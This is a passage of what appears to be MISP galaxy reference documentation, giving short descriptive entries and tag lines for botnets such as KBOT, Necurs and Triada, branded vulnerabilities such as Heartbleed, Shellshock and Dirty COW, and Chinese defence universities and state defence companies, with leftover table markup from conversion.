<tr>
<th>Links</th>
</tr>
</thead>
</table>
KBOT

KBOT penetrates users' computers via the Internet or a local network, or from infected external media. After the infected file is launched, the malware gains a foothold in the system, writing itself to Startup and the Task Scheduler, and then deploys web injects to try to steal the victim's bank and personal data. For the same purpose, KBOT can download additional stealer modules that harvest and send to the C&C server almost full information about the user: passwords/logins, cryptowallet data, lists of files and installed applications, and so on.

The tag is: misp-galaxy:botnet="KBOT"

Linux.Darlloz

Linux.Darlloz is a worm which infects Linux embedded systems. Linux.Darlloz was first discovered by Symantec in 2013.[3] Linux.Darlloz targets the Internet of things and infects routers, security cameras, set-top boxes by exploiting a PHP vulnerability. The worm was based on a Proof of concept code that was released in October 2013. Linux.Darlloz utilizes vulnerability (CVE-2012-1823) to exploit systems in order to compromise systems. Linux.Darlloz was later found in March 2014 to have started mining crypto currencies such as Mincoin and Dogecoin. Linux.Aidra, the malware that Linux.Darlloz attempts usurp - like some of the variants of Darlloz, Linux.Aidra targets smaller devices, specifically cable and DSL modems. The worm adds them to a botnet, which can be utilized by the attackers to perform DDoS attacks.

The tag is: misp-galaxy:botnet="Linux.Darlloz"

Marcher

Marcher is a banking trojan for Android devices. Researchers at Dutch security firm Securify have conducted a detailed analysis of the Android banking Trojan known as Marcher and discovered that a single botnet has managed to steal a significant number of payment cards. Securify has identified nine Marcher botnets over the last 6 months, and each of them has been provided with new modules and targeted web injects by the Trojan's creators.

The tag is: misp-galaxy:botnet="Marcher"
Matsnu

Matsnu is a malware downloader. The malware downloaded may include the banking trojans Citadel and URLZone/Bebloh. Matsnu can also be expanded with additional functions using plug-ins. One of these plug-ins is designed to capture access data for e-mail accounts and FTP programs and pass this information to the operator of the malware.

The tag is: `misp-galaxy:botnet="Matsnu"`

Methbot

Methbot was an advertising fraud scheme. Methbot was first tracked in 2015 by cybersecurity firm White Ops, and the botnet saw rapidly increased activity in 2016. The botnet originated in Russia (though it was not state sponsored), and utilized foreign computers and networks in Europe and North America. The infrastructure consisted of 571,904 dedicated IPs, 6,000 domains, and 250,267 distinct URLs, each of which could only house a video ad, and used variants of the names of famous publishers to fool those looking into the domains. This led the operators to game the system, leading ad selection algorithms to select these fake web pages over larger corporate pages from legitimate companies, and charge advertisers at a premium. About 570,000 bots were used to execute clicks on those websites, “watching” up to 300 million video ads a day while the bots mimicked normal computer user behavior. Estimated clicks per day generally reached between 200 and 300 million per day. The botnet relied on data servers instead of more traditional botnets that rely on infected PCs and mobile devices.

The tag is: `misp-galaxy:botnet="Methbot"`
**Metulji**

The Metulji botnet, discovered in June 2011, is a botnet mainly involved in cyberscamming and denial of service attacks. Before the botnet itself was dismantled, it consisted of over 12 million individual zombie computers infected with the Butterfly Bot, making it, as of June 2011, the largest known botnet. It is not known what type of computers are vulnerable, or how to tell if a computer is a part of this botnet.

Necurs

The Necurs botnet is a distributor of many pieces of malware, most notably Locky. Around June 1, 2016, the botnet went offline, perhaps due to a glitch in the command and control server running Necurs. However, three weeks later, Jon French from AppRiver discovered a spike in spam emails, signifying either a temporary spike in the botnet’s activity or return to its normal pre-June 1 state. In a 2020 report, it was noted to have particularly targeted India, Southeast Asia, Turkey and Mexico.

The tag is: misp-galaxy:botnet="Necurs"

Table 798. Table References
Nitol

The Nitol botnet mostly involved in spreading malware and distributed denial-of-service attacks. The Nitol Botnet was first discovered around December 2012, with analysis of the botnet indicating that the botnet is mostly prevalent in China where an estimate 85% of the infections are detected. In China the botnet was found to be present on systems that came brand-new from the factory, indicating the trojan was installed somewhere during the assembly and manufacturing process. According to Microsoft the systems at risk also contained a counterfeit installation of Microsoft Windows. On 10 September 2012 Microsoft took action against the Nitol Botnet by obtaining a court order and subsequently sinkholing the 3322.org domain. The 3322.org domain is a Dynamic DNS which was used by the botnet creators as a command and control infrastructure for controlling their botnet. Microsoft later settled with 3322.org operator Pen Yong, which allowed the latter to continue operating the domain on the condition that any subdomains linked to malware remain sinkholed.

The tag is: `misp-galaxy:botnet="Nitol"`

Nymaim

Nymaim was discovered in 2013. At that time it was only a dropper used to distribute TorrentLocker. In February 2016 it became popular again after incorporating leaked ISFB code, dubbed Goznym. When dropper obtains C&C address, it starts real communication. It downloads two important binaries and a lot more: payload – banker module (responsible for web injects – passive member of botnet); optional bot module (it is trying to open ports on a router and become an active part of a botnet. When it fails to do so, it removes itself from a system).

The tag is: `misp-galaxy:botnet="Nymaim"`

PBot

PBot is a P2P botnet derived from the Mirai source code. PBot performs MITB (man-in-the-browser) attacks and injects various scripts into legitimate websites. Its capabilities may go beyond simple injections of ads, depending on the intentions of its distributors.
The tag is: misp-galaxy:botnet="PBot"

PBot is also known as:

- PythonBot

</tr>
</tbody>
</table>

**PrizeRAT**

PrizeRAT is a trojan for Android devices. Its functions include unauthorised user tracking, stealing passwords and the silent installation of additional applications without the user’s permission. As the malware is part of the firmware of the device, it is not generally recognised by anti-virus solutions for Android. The risk affects a limited group of mobile end devices made by Chinese manufacturers for the low-price segment.

The tag is: misp-galaxy:botnet="PrizeRAT"

**Table 805. Table References**

<table>
<thead>
<tr>

</tr>
</thead>
</table>

**Pushlran**

Pushlran is a potentially unwanted application (PUA) for Android devices. It displays additional pop-ups and advertisements when the device is used. The app collects data from infected systems, intercepts sensitive communication and passes this information to a remote attacker.

The tag is: misp-galaxy:botnet="Pushlran"

**Table 806. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Pykspa**

Pykspa is a piece of malware that can be used to remotely control infected systems. It also enables attackers to download other malware or extract personal data. There are a number of versions of this malware and it has been developed over a long period of time. Some of the most recent versions of Pykspa are able to deactivate security systems such as anti-virus programs.
**Qsnatch**

Qsnatch is a trojan for Linux devices that primarily attacks network drives manufactured by QNAP. Its functions include stealing access data and opening backdoors to infected devices. Through this backdoor, the attacker can gain access to the system and perform other actions. The malware is capable of a wide range of attack types, from information theft to downloading other malware.

**Remaiten**

Remaiten is malware which infects Linux on embedded systems by brute forcing using frequently used default username and passwords combinations from a list in order to infect a system. Remaiten combines the features of the Tsunami and LizardStresser (aka Torlus) malware families. The command and control for Remaiten are handled by IRC communications. Additionally the command and control is done by an actual IRC channel rather than only the IRC protocol. This is an improvement over bots such as Tsunami and Torlus making Remaiten a greater threat than both combined. To avoid detection, Remaiten tries to determine the platform of a device to download the architecture-appropriate component from the command & control server. Once Remaiten infects a device it is able to perform actions such as launching distributed denial of service attacks or download more malware on a device.[5] Remaiten is able to scan and remove competing bots on a system compromised by it.
Retadup

Retadup is a worm affecting Windows machines primarily throughout Latin America. Its objective is to achieve persistence on its victims’ computers, to spread itself far and wide and to install additional malware payloads on infected machines. In the vast majority of cases, the installed payload is a piece of malware mining cryptocurrency on the malware authors’ behalf. The French law enforcement agency, National Gendarmerie, in 2019 announced the successful takedown of one of the largest wide-spread RETADUP botnet malware and how it remotely disinfected more than 850,000 computers worldwide with the help of researchers.

The tag is: misp-galaxy:botnet="Retadup"

Rovnix

Rovnix is a data-stealing trojan that spreads by email and infects Windows PCs. Initial versions of the malware featured the extraction of data from compromised machines using unencrypted comms but more recently this has evolved to feature encryption during broadcast. The malware spread via e-mails infected with the Andromeda downloader. The infected attachment gets executed by an unwary user and this in turn downloads and runs Rovnix. The whole attack is designed to steal financial information, mainly credit card numbers. A new cluster of infections by the Rovnix Trojan has infected more than 130,000 Windows computers in the UK alone.

The tag is: misp-galaxy:botnet="Rovnix"

Table 812. Table References

<table>
<thead>
<tr>

</thead>
</table>
Slenfbot

Slenfbot was first discovered in 2007 and, since then, numerous variants have followed; each with slightly different characteristics and new additions to the worm’s payload, such as the ability to provide the attacker with unauthorized access to the compromised host. Slenfbot primarily spreads by luring users to follow links to websites, which contain a malicious payload. Slenfbot propagates via instant messaging applications, removable drives and/or the local network via network shares. The code for Slenfbot appears to be closely managed, which may provide attribution to a single group and/or indicate that a large portion of the code is shared amongst multiple groups. The inclusion of other malware families and variants as well as its own continuous evolution, makes Slenfbot a highly effective downloader with a propensity to cause even more damage to compromised systems.

The tag is: misp-galaxy:botnet="Slenfbot"

Suppobox

Suppobox is a trojan that intercepts any network traffic connected with a monetary transaction when users buy or sell products online. The malware focuses on auction websites.

The tag is: misp-galaxy:botnet="Suppobox"

Suppobox is also known as:

- Bayrob
- Nivdort
**Triada**

Triada is a trojan for Android devices. Triada’s primary function is to record text messages. For example, it intercepts in-app purchases via text message and redirects payments made. Triada downloads other malware from a server and runs these programs.

The tag is: `misp-galaxy:botnet="Triada"`

Triada is also known as:

- APK. Triada

**Trinoo**

Trinoo is a set of computer programs to conduct a DDoS attack. It is believed that trinoo networks have been set up on thousands of systems on the Internet that have been compromised by remote buffer overrun exploits.

The tag is: `misp-galaxy:botnet="Trinoo"`

Trinoo is also known as:

- trin00

**Zemra**

Zemra is a DDoS Bot which was first discovered in underground forums in May 2012. Zemra is capable of HTTP and SYN Flood flooding and also has a simple Command & Control panel that is protected with 256-bit DES encryption for communicating with its command and control (C&C) server. Zemra also sends information such as Computer name, Language settings, and Windows
version. It will send this data to a remote location on a specific date and time. It also opens a backdoor on TCP port 7710 to receive commands from a remote command-and-control server, and it is able to monitor devices, collect system information, execute files, and even update or uninstall itself if necessary.

The tag is: `misp-galaxy:botnet="Zemra"

### Ztorg

Ztorg is a trojan for Android devices. Its functions include unauthorised user tracking, stealing passwords, the silent installation of additional applications without the user’s permission, and the collection of data on the mobile phone, such as its location and contacts. Ztorg is a piece of malware that opens a backdoor to an infected device. Through this backdoor, the attacker can gain access to the system and perform other actions. The malware is capable of a wide range of attack types, from information theft to downloading other malware.

The tag is: `misp-galaxy:botnet="Ztorg"

### Branded Vulnerability

Unknown

### Meltdown

Meltdown exploits the out-of-order execution feature of modern processors, allowing user-level programs to access kernel memory using processor caches as covert side channels. This is specific to the way out-of-order execution is implemented in the processors. This vulnerability has been assigned CVE-2017-5754.
Spectre

Spectre exploits the speculative execution feature that is present in almost all processors in existence today. Two variants of Spectre are known and seem to depend on what is used to influence erroneous speculative execution. The first variant triggers speculative execution by performing a bounds check bypass and has been assigned CVE-2017-5753. The second variant uses branch target injection for the same effect and has been assigned CVE-2017-5715.

Heartbleed

Heartbleed is a security bug in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. It was introduced into the software in 2012 and publicly disclosed in April 2014. Heartbleed may be exploited regardless of whether the vulnerable OpenSSL instance is running as a TLS server or client. It results from improper input validation (due to a missing bounds check) in the implementation of the TLS heartbeat extension, thus the bug’s name derives from heartbeat. The vulnerability is classified as a buffer over-read, a situation where more data can be read than should be allowed.

Shellshock

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

Ghost

The GHOST vulnerability is a serious weakness in the Linux glibc library. It allows attackers to remotely take complete control of the victim system without having any prior knowledge of system credentials. CVE-2015-0235 has been assigned to this issue. During a code audit Qualys researchers discovered a buffer overflow in the __nss_hostname_digits_dots() function of glibc. This bug can be triggered both locally and remotely via all the gethostbyname*() functions. Applications have access to the DNS resolver primarily through the gethostbyname*() set of functions. These functions convert a hostname into an IP address.
Stagefright

Stagefright is the name given to a group of software bugs that affect versions 2.2 ("Froyo") and newer of the Android operating system. The name is taken from the affected library, which among other things, is used to unpack MMS messages. Exploitation of the bug allows an attacker to perform arbitrary operations on the victim's device through remote code execution and privilege escalation. Security researchers demonstrate the bugs with a proof of concept that sends specially crafted MMS messages to the victim device and in most cases requires no end-user actions upon message reception to succeed—the user doesn't have to do anything to ‘accept’ the bug, it happens in the background. The phone number is the only target information.

The tag is: `misp-galaxy:branded-vulnerability="Stagefright"`

Badlock

Badlock is a security bug disclosed on April 12, 2016 affecting the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) remote protocols[1] supported by Windows and Samba servers.

The tag is: `misp-galaxy:branded-vulnerability="Badlock"`

Dirty COW

Dirty COW (Dirty copy-on-write) is a computer security vulnerability for the Linux kernel that affects all Linux-based operating systems including Android. It is a local privilege escalation bug that exploits a race condition in the implementation of the copy-on-write mechanism in the kernel's memory-management subsystem. The vulnerability was discovered by Phil Oester. Because of the race condition, with the right timing, a local attacker can exploit the copy-on-write mechanism to turn a read-only mapping of a file into a writable mapping. Although it is a local privilege escalation, remote attackers can use it in conjunction with other exploits that allow remote execution of non-privileged code to achieve remote root access on a computer. The attack itself does not leave traces in the system log.

The tag is: `misp-galaxy:branded-vulnerability="Dirty COW"`

POODLE

The POODLE attack (which stands for “Padding Oracle On Downgraded Legacy Encryption”) is a man-in-the-middle exploit which takes advantage of Internet and security software clients’ fallback to SSL 3.0. If attackers successfully exploit this vulnerability, on average, they only need to make 256 SSL 3.0 requests to reveal one byte of encrypted messages. Bodo Möller, Thai Duong and Krzysztof Kotowicz from the Google Security Team discovered this vulnerability; they disclosed the vulnerability publicly on October 14, 2014 (despite the paper being dated "September 2014"). Ivan Ristic does not consider the POODLE attack as serious as the Heartbleed and Shellshock attacks. On December 8, 2014 a variation of the POODLE vulnerability that affected TLS was announced.

The tag is: `misp-galaxy:branded-vulnerability="POODLE"`
BadUSB

The ‘BadUSB’ vulnerability exploits unprotected firmware in order to deliver malicious code to computers and networks. This is achieved by reverse-engineering the device and reprogramming it. As the reprogrammed firmware is not monitored or assessed by modern security software, this attack method is extremely difficult for antivirus/security software to detect and prevent.

The tag is: `misp-galaxy:branded-vulnerability="BadUSB"`

ImageTragick

The tag is: `misp-galaxy:branded-vulnerability="ImageTragick"`

Blacknurse

Blacknurse is a low bandwidth DDoS attack involving ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016. The earliest samples we have seen supporting this DDoS method are from September 2017.

The tag is: `misp-galaxy:branded-vulnerability="Blacknurse"`

SPOILER

SPOILER is a security vulnerability on modern computer central processing units that uses speculative execution to improve the efficiency of Rowhammer and other related memory and cache attacks. According to reports, all modern Intel CPUs are vulnerable to the attack. AMD has stated that its processors are not vulnerable.

The tag is: `misp-galaxy:branded-vulnerability="SPOILER"`

Academy of Military Science (中国人民解放军军事科学院)

AMS is responsible for leading and coordinating military science for the whole military. AMS is involved in not only the development of theory, strategy, and doctrine but also advancing national defense innovation. Pursuant to the PLA reforms, AMS has undergone dramatic changes starting in June 2017. At a July 2017 ceremony marking the AMS's reorganisation, Xi urged the AMS to construct a 'world-class military scientific research institution.' Through the National Defence Science and Technology Innovation Institute, the AMS is pursuing research in cutting-edge technologies including unmanned systems, artificial intelligence, biotechnology and quantum technology.

Aero Engine Corporation of China (中国航空发动机集团有限公司)

AECC is a leading producer of aircraft parts for the People's Liberation Army (PLA), having separated from its parent company the Aviation Industry Corporation of China (AVIC) in 2016. The company reports having 27 affiliated or subordinate companies, three major listed companies, and 84,000 staff. AVIC and the Commercial Aircraft Corporation of China (also known as COMAC) are major shareholders in AECC AECC's main products include aircraft engines, combustion gas turbines, and transmission systems. AECC also develops aircraft power units, helicopter drive systems, monocrystalline blades, turbine disks, and graphene AECC was established in order to improve China's capability in developing domestically built aircraft engines as part of the 'Made in China 2025' program. A priority is strengthening its supply chains within China. Though
indigenously developed engines have proven challenging for AECC, the company had purported success in providing thrust vector control technology for the J-10B fighter jet.

**Air Force Command College (中国人民解放军空军指挥学院)**

The PLA Air Force Command College in Beijing is considered the PLA Air Force's 'peak institution for educating mid-rank and senior officers' for command posts across the service. The college has a long history and was initially established in Nanjing during the early years of the People's Republic in 1958. The Air Force Command College offers a range of degree programmes, mainly at the postgraduate level, including training in military disciplines such as military history, strategy, and tactics. It has published research on control science and radar. The college's other specialties include battlefield command, military operations as well as political–ideological education.

**Air Force Engineering University (中国人民解放军空军工程大学)**

The Air Force Engineering University (AFEU) is one of the PLA’s five comprehensive universities alongside NUDT, Naval Engineering University, PLA Information Engineering University and Army Engineering University. It trains students in a variety of engineering and military disciplines related to air combat. AFEU currently has around 8,000 students, including 1,600 postgraduate students. Its priority areas include technical studies in information and communication systems engineering as well as in social sciences such as in professional military training. Research into unmanned aerial vehicle technology is another important area of research at the university. In 2017, China’s Ministry of Education ranked AFEU equal fourth for armament science out of nine universities, only awarding it a B- grade for the discipline. Colleges under AFEU include:

---

**Air Force Logistics University (中国人民解放军空军后勤学院)**

The Air Force Logistics University is an institution devoted to the study of command, management and technology for the PLA, established in Shanxi by the Central Military Commission in 1954. The university focuses its research on ‘management engineering’ for military equipment such as weaponry and aircraft fuel and also maintains research programmes on air battle command and personnel management.

The tag is: `misp-galaxy:china-defence-universities="Air Force Logistics University (中国人民解放军空军后勤学院)"`

---

**Air Force Medical University (中国人民解放军空军军医大学)**

The Air Force Medical University, also known as the Fourth Military Medical University, is the PLA’s premier institution for research into medical and psychological sciences, having been placed under command of the Air Force after Xi Jinping’s military reforms in 2017. Its major areas of study are medical and psychological sciences tailored for personnel engaging in air and space operations, military preventative medicine and various other forms of clinical research. The Air Force Medical University conducts significant amounts of psychological research. Scientists from the Air Force Medical University have written studies on suicide, mental health across China, and mental health in military universities. The university’s scientists have also looked at the extent to which mindfulness training can reduce anxiety for undergraduates at military universities, and at how fear induced by virtual combat scenarios impacts decision-making. This indicates that the university is interested in issues of troop morale and decision-making in high-stress situations.

The tag is: `misp-galaxy:china-defence-universities="Air Force Medical University (中国人民解放军空军军医大学)"`
**Air Force Research Institute (中国人民解放军空军研究院)**

The Air Force Research Institute is an air force scientific research institute, the successor to the Air Force Equipment Academy (空军装备研究院), that was established in 2017. The institute runs the Key Laboratory of Complex Aviation System Simulation (复杂航空系统仿真国家重点实验室) and carries out research on areas such as aircraft design, flight control, guidance and navigation, and electronic countermeasures.

Army Research Institute (中国人民解放军陆军研究院)

The Army Research Institute is an institution devoted to advanced defence research with applications to land warfare. The institute engages in a variety of defence research including radar technology, lasers, and hybrid electric vehicles. Researchers from the institute are known to have collaborated with partners from China’s civilian universities in areas such as advanced manufacturing and automatic control, and laser technology. The Army Research Institute collaborates with civilian companies as part of China’s military-civil fusion program. For example, General Guo Guangsheng from the Army Research Institute made a visit to Hong Run Precision Instruments Co. Ltd. (虹润) on 24 August 2019 to assess how the company was performing in its military-civil fusion activities. Researchers from the Army Research Institute have also been involved in the product design and development of dual-use automobiles as part of a military-civil fusion project called ‘Research, Development and Commercialisation of Advanced Off-road Passenger Vehicles’ (新一代军民通用车研发及产业化). The project included research into vehicles such as the
BJ80 military and civilian off-road passenger vehicles as well as the BJ40L off-road vehicle.

**Aviation Industry Corporation of China (中国航空工业集团有限公司)**

AVIC is a state-owned defence conglomerate established in 2008 that focuses on providing aerospace products for military and civilian customers. AVIC’s main product lines include a variety of aircraft for freight, commercial and military aviation along with other more specialised products such as printed circuit boards, liquid crystal displays and automotive parts, according to Bloomberg. AVIC also provides services to the aviation sector through flight testing, engineering, logistics and asset management. The conglomerate has over 400,000 employees and has a controlling share in around 200 companies. AVIC has over 25 subsidiaries listed on its website. AVIC is the PLA Air Force’s largest supplier of military aircraft, producing fighter jets, strike aircraft,
unmanned aerial vehicles and surveillance aircraft. Along with its core work on military aircraft, AVIC also produces surface-to-air, air-to-surface and air-to-air missiles. Its headline projects include the J-10 and the J-11 fighter aircraft. AVIC’s subsidiary, the Shenyang Aircraft Corporation, was responsible for delivery of the J-15 fighter. Another subsidiary of AVIC, the Chengdu Aerospace Corporation, developed the PLA-AF’s J-20 stealth fighter jet.

**Beihang University (北京航空航天大学)**

Beihang University engages in very high levels of defence research as one of the ‘Seven Sons of National Defence’ subordinate to the Ministry of Industry and Information Technology. The university specialises in aviation and spaceflight research. The top four employers of Beihang graduates in 2018 were all state-owned missile or defence aviation companies. In total, 29% of 2018 Beihang graduates who found employment were working in the defence sector. Beihang scientists are involved in the development of Chinese military aircraft and missiles. In 2018, the university signed a comprehensive strategic cooperation agreement with China Aerospace Science and Technology Corporation, a state-owned conglomerate that produces ballistic missiles and satellites. The university is also noteworthy for its leading research on stealth technology. Beihang hosts at least eight major defence laboratories working on fields such as aircraft engines, inertial navigation and fluid dynamics.

The tag is: *misp-galaxy:china-defence-universities="Beihang University (北京航空航天大学)"*
Beijing Electronic Science and Technology Institute (北京电子科技学院)

BESTI is a secretive university that trains information security experts for the bureaucracy. The institute is the only university run by the CCP General Office, which manages administrative matters for the Central Committee. The General Office is usually run by one of the general secretary's most trusted aides. It oversees China’s cryptographic and state secrets agency as well as security for the party’s leadership. BESTI has a student population of around 2,000 and has strict admission requirements. Students at the university are scrutinized for their political beliefs, and are typically CCP or Communist Youth League members. The activities of their relatives are screened for political issues. Having no parents or siblings who worked abroad or were involved in ‘illegal organisations’ is a condition of enrolment. The institute claims to count 50 ministerial-level party officials among its 12,000 graduates. BESTI has a close relationship with Xidian University and Beijing University of Posts and Telecommunications. The two universities are its primary collaborators on scientific papers. BESTI runs joint master's programs with Xidian University in cryptography, information and communication engineering, and computer applications technology. It also has joint doctoral programs with the University of Science and Technology of China and Beijing University of Posts and Telecommunications in cybersecurity. The university runs the Key Laboratory of Information Security (信息安全重点实验室). Several websites claim that it runs a joint laboratory with the Chinese Academy of Sciences Institute of High Energy Physics, but this could not be confirmed.

The tag is: **misp-galaxy:china-defence-universities**="Beijing Electronic Science and Technology Institute (北京电子科技学院)"

Beijing Institute of Technology (北京理工大学)

BIT is one of the ‘Seven Sons of National Defence’ supervised by MIIT. It is a leading centre of military research and one of only fourteen institutions accredited to award doctorates in weapons science. In 2017, China’s Ministry of Education ranked BIT and Nanjing University of Science and Technology as the country's top institutions for weapons science. It has received the most defence research prizes and defence patents out of all China’s universities. 31.80% of BIT graduates in 2018 who found employment were working in the defence sector. BIT’s claimed achievements include producing the PRC's first light tank, first two-stage solid sounding rocket and first low-altitude altimetry radar. The university also states that it carries out world-class research on several areas of missile technology including “precision strikes, high damage efficiency, maneuver penetration, long-range suppression, and military communications systems and counter-measures”. In 2018, BIT...
announced that it was running a four-year experimental program training some of China’s top high school students in intelligent weapons systems. BIT is the chair of the B8 Cooperation Innovation Alliance (B8协创新联盟), a group of eight Chinese research institutions that specialize in weapons science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (兵器). BIT’s central role in advancing PLA warfighting capability is demonstrated by the fact that it participated in the development of equipment used by 22 of the 30 squads in the 2009 military parade for the 60th anniversary of the founding of the PRC.

**Beijing University of Posts and Telecommunications (北京邮电大学)**

BUPT is subordinate to the Ministry of Education in addition to being jointly constructed by the Ministry of Industry and Information Technology. BUPT is one of eight Chinese universities known to have received top-secret security credentials. Since its establishment, the university has focused on information engineering and computer science, and has continued to produce important defence and security technology research. The School of Cyberspace Security is home to one of the university’s two defence laboratories—the Key Laboratory of Network and Information Attack & Defense Technology of Ministry of Education—which carries out research for the Chinese military related to cyber attacks. BUPT is a member of several military-civilian fusion (MCF) alliances and has been awarded for its contributions to MCF and the PLA. During the past three years, major
employers of BUPT graduates include the Ministry of State Security, the Ministry of Public Security and MIIT. This suggests a close relationship between BUPT and China’s security and intelligence agencies.

The tag is: *misp-galaxy:china-defence-universities="Beijing University of Posts and Telecommunications (北京邮电大学)"*

---

**Central South University (中南大学)**

Out of all universities subordinate to the MOE, CSU reportedly receives the most military research funding and was the first to receive a weapons production license. In 2008 and 2011 respectively, the defence industry agency SASTIND and the Ministry of Education (MOE) signed agreements to jointly supervise CSU. Under this arrangement, SASTIND committed to expanding CSU’s involvement in defence research and support the development of its School of Aeronautics and Astronautics and Military Industry Technology Research Institute. CSU’s defence research appears to focus on metallurgy, materials science, and aviation technology, including the development of heat-resistant materials for aeroplane and rocket engines. The university has been involved in the development of China’s first atomic bomb, first intermediate-range ballistic missile, and first nuclear submarine. In 2018, it signed a strategic cooperation agreement with the Chinese Academy of Launch Vehicle Technology, a subsidiary of China Aerospace Science and Technology Corporation that is included on the US BIS Entity List for its involvement in developing rockets.

China Aerodynamics Research and Development Center (中国空气动力研究与发展中心)

CARDC claims to be China’s largest aerodynamics research and testing base. It hosts the State Key Laboratory of Aerodynamics (气动力学国家重点实验室), which includes five wind tunnels and a large computer cluster. CARDC is heavily involved in research on hypersonics. While CARDC is a military unit, its website does not mention this. The PLA officers leading the facility are instead pictured on its website in civilian clothes (pictured: CARDC director, Major General Fan Zhaolin (范召林) in uniform (above) and in civilian attire on CARDC’s website (below).

The tag is: \textit{misp-galaxy:china-defence-universities="China Aerodynamics Research and Development Center (中国空气动力研究与发展中心)"}

China Aerospace Science and Industry Corporation (中国航天科工集团有限公司)

CASIC specialises in defence equipment and aerospace products, particularly short- and medium-range missiles. CASIC is a leading provider to the Chinese military of high-end capabilities such as air-defence, cruise, and ballistic missile systems along with space launch vehicles, micro-satellites and anti-satellite interceptors, according to Mark Stokes and Dean Cheng. CASIC employs over 146,000 employees and is on the Fortune 500 list with revenue exceeding USD37 billion (AUD55 billion). Although defence products form part of CASIC’s main product line, the company also produces products for civilian customers such as electronics, communications equipment and medical equipment. Nevertheless, CASIC claims that it ‘will always uphold its core value of ranking national interests above all’, which indicates that civilian products receive less priority than defence equipment.

The tag is: \textit{misp-galaxy:china-defence-universities="China Aerospace Science and Industry Corporation (中国航天科工集团有限公司)"}
China Aerospace Science and Technology Corporation (中国航天科技集团)

CASC was established in 1999 as a defence aerospace conglomerate. The company is primarily focused on ‘developing carrier rockets, various kinds of satellites, ... and tactical missile systems.’ With revenues nearing USD38 billion (AUD55 billion), CASC employs nearly 180,000 personnel and is on the Fortune 500 list. PLA experts Mark Stokes and Dean Cheng have noted that CASC’s main products for the PLA include ‘ballistic missiles and space launch vehicles, large solid rocket motors, liquid fuelled engines, satellites, and related sub-assemblies and components.’ The Federation of American Scientists claims CASC is particularly advanced in high-energy propellant technology, satellite applications, strap-on boosters and system integration. CASC maintains an investment business which may be geared towards civilian purposes, according to Bloomberg. The Federation of American Scientists notes that some civilian product lines for CASC include ‘machinery, chemicals, communications equipment, transportation equipment, computers, medical care products and environmental protection equipment.’ CASC oversees multiple research academies, which have been separately identified by Mark Stokes and Dean Cheng and by the Nuclear Threat Initiative. The Nuclear Threat Initiative has identified that CASC has the following subordinate companies:

China Electronics Corporation (中国电子信息产业集团有限公司)

CEC is a state-owned conglomerate that produces dual-use electronics. The company was established in 1989 to produce semi-conductors, electronic components, software and
telecommunications products. The company describes itself as a defence industry conglomerate. CEC is one of China’s largest companies with nearly 120 thousand employees. CEC claims to hold 22 subordinate enterprises and 14 listed companies. Global Security has provided a list of CEC’s 36 member companies in English. CEC is divided into two operational groups. First is the China Electronics Party Institute (中国电子党校), which provides disciplinary oversight and organises communist party activities within CEC. Second is the Science and Technology Committee (科技委员会), which is responsible for research and development within CEC. CEC’s defence electronics are developed by the Military Engineering Department (军工部) within CEC’s Science and Technology Committee. Key defence electronics produced by CEC include tracking stations, radar technology, as well as command and control systems. The company maintains its own office for the management of classified information related to defence research. The Federation of American Scientists has identified CEC’s defence-related enterprises on a list that can be found here.

\textbf{China Electronics Technology Group Corporation (中国电子科技集团公司)}

CETC is a state-owned defence conglomerate that specialises in dual-use electronics. The company was established in 2002 by bringing dozens of research institutes administered by the Ministry of Information Industry, the predecessor to the Ministry of Industry and Information Technology, under one umbrella. CETC is one of the world’s largest defence companies. It claims to have 523 subordinate units and companies and 160,000 employees. CETC divides its defence electronics products into seven categories: air base early warning, integrated electronic information systems, radar, communication and navigation, electronic warfare, UAVs and integrated IFF (identification, friend or foe). CETC also provides technology used for human rights abuses in Xinjiang, where approximately 1.5m are held in re-education camps. Several CETC research institutes and subsidiaries have been added to the US Government’s entity list, restricting exports to them on national security grounds. CETC has been implicated by the US Department of Justice in at least three cases of illegal exports. CETC has a large international market and has also expanded its international research collaboration in recent years. It has a European headquarters in Graz, Austria, and has invested in the University of Technology Sydney.

China National Nuclear Corporation (中国核工业集团有限公司)

CNCC is the leading state-owned enterprise for China’s civilian and military nuclear programs. It consists of more than 200 subordinate enterprises and research institutes, many of which are listed on the Nuclear Threat Initiative website. In 2018, CNNC took over China’s main nuclear construction company, China Nuclear Engineering and Construction Group (中国核工业建设集团). The company is organized into eight industrial sectors, including nuclear power, nuclear power generation, nuclear fuel, natural uranium, nuclear environmental protection, application of nuclear technologies, non-nuclear civilian products and new energy sources. CNNC is mainly engaged in research and development, design, construction and production operations in the fields of nuclear power, nuclear fuel cycle, nuclear technology application, and nuclear environmental protection engineering. Because of the dual-use nature of nuclear technologies, the nuclear industry is a typical military-civil fusion industry. Naval nuclear power technology and nuclear reactor technology in the reactor core, fuel assembly, safety and security, and radioactive waste treatment all use the same or very similar processes. In March 2019, CNNC established an military-civil fusion fund dedicated to dual-use nuclear technology research and design. Two CNNC subsidiaries have been added to the US Government's Entity List, restricting exports to them on national security grounds. CNNC has cooperated with U.S. Westinghouse Electric to construct AP1000 nuclear power plants. The company also has a significant overseas presence, signing agreements for joint research with U.S., French, Canadian, U.K., Russian and Argentinian companies.

China Shipbuilding Industry Corporation (中国船舶重工集团有限公司)

CSIC was established as one of China’s primary state-owned defence companies on 1 July 1999. CSIC is the PLA Navy's largest supplier of weapons platforms, accounting for nearly 80 per cent of all armaments. CSIC's signature products include conventional and nuclear submarines, warships and torpedoes, as well as the Liaoning aircraft carrier program. CSIC maintains a civilian shipbuilding program alongside its program of supplying the PLA Navy. CSIC's civilian work includes the production of oil and chemical tankers, container ships, bulk carriers and engineering ships. On 2 July 2019, it was announced that CSIC and the China State Shipbuilding Corporation would merge. According to Janes Defence Weekly, ‘the two groups, which have combined assets of about USD120 billion and employ 240,000 people, dominate naval shipbuilding in China and between them operate 160 subsidiaries.’ Nikkei has listed some of CSIC’s main subsidiaries here.

The tag is: misp-galaxy:china-defence-universities="China Shipbuilding Industry Corporation (中国船舶重工集团有限公司)"

China South Industries Group (中国兵器装备集团有限公司)

